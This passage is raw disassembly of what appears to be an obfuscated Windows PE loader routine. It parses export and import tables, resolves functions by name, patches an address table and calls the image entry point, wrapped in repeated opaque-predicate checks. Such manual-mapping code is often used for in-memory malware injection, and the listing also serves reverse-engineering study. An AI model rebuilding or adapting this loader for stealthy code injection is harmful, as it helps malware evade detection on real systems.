cmp bl, al
je 0x1800021b3
cmp bl, al
je 0x1800021d8
add rsi, 4
add rcx, 2
jmp 0x1800021ab
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r12
call rdx
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov rdx, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002212
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024d7
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002240
mov eax, dword [0x180020a88]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800024d9
add r8, rdx
mov esi, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rsi, rdx
add rcx, rdx
mov ebp, dword [rsi]
add rbp, rdx
mov rdi, r13
movzx ebx, byte [rdi]
movzx eax, byte [rbp]
test bl, bl
je 0x180002270
add rdi, 1
add rbp, 1
cmp bl, al
je 0x180002259
cmp bl, al
je 0x18000227e
add rsi, 4
add rcx, 2
jmp 0x180002251
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdx, rax
mov rcx, r12
call rdx
cmp dword [0x180020a70], 0xa
jl 0x180002072
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002141
jmp 0x180002072
cmp ecx, 0xa
jl 0x1800022c1
test edx, edx
jne 0x1800024e7
mov rdx, qword [rsp + 0x50]
mov ebp, dword [rdx]
mov edx, dword [rdx + 0x10]
add rdx, r15
mov qword [rsp + 0x58], rdx
add rbp, r15
mov qword [rsp + 0x60], rbp
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx]
test rdx, rdx
je 0x1800024b0
mov rax, qword [rsp + 0x70]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x18000231b
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r14
mov rdx, r12
call rsi
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002346
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024df
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002374
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024e1
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x68]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x1800023a6
add rdi, 1
add rbp, 1
cmp al, bl
je 0x18000238f
cmp al, bl
je 0x1800023b4
add rdx, 4
add rcx, 2
jmp 0x180002385
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r14
mov rdx, r12
call rsi
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002491
test edx, edx
je 0x180002491
mov rcx, qword [rsp + 0x40]
call fcn.180002550
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000241f
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024e3
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x18000244d
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024e5
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x68]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x18000247f
add rdi, 1
add rbp, 1
cmp al, bl
je 0x180002468
cmp al, bl
je 0x180002301
add rdx, 4
add rcx, 2
jmp 0x18000245e
add qword [rsp + 0x60], 8
add qword [rsp + 0x58], 8
cmp ecx, 0xa
jl 0x1800022db
test edx, edx
je 0x1800022db
jmp 0x1800024e7
add qword [rsp + 0x50], 0x14
cmp ecx, 0xa
jl 0x18000205d
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000205d
jmp 0x18000203f
jmp 0x1800024d3
jmp 0x1800024d5
jmp 0x1800024d7
jmp 0x1800024d9
jmp 0x1800024db
jmp 0x1800024dd
jmp 0x1800024df
jmp 0x1800024e1
jmp 0x1800024e3
jmp 0x1800024e5
jmp 0x1800024e7
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x28]
add rax, r15
call rax
cmp dword [0x180020a70], 0xa
jl 0x18000253f
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000253f
mov rsi, qword [rsp + 0x48]
mov eax, dword [rsi + 0x28]
add rax, r15
call rax
mov eax, dword [rsi + 0x28]
add rax, r15
call rax
cmp dword [0x180020a70], 0xa
jl 0x18000253f
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002515
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret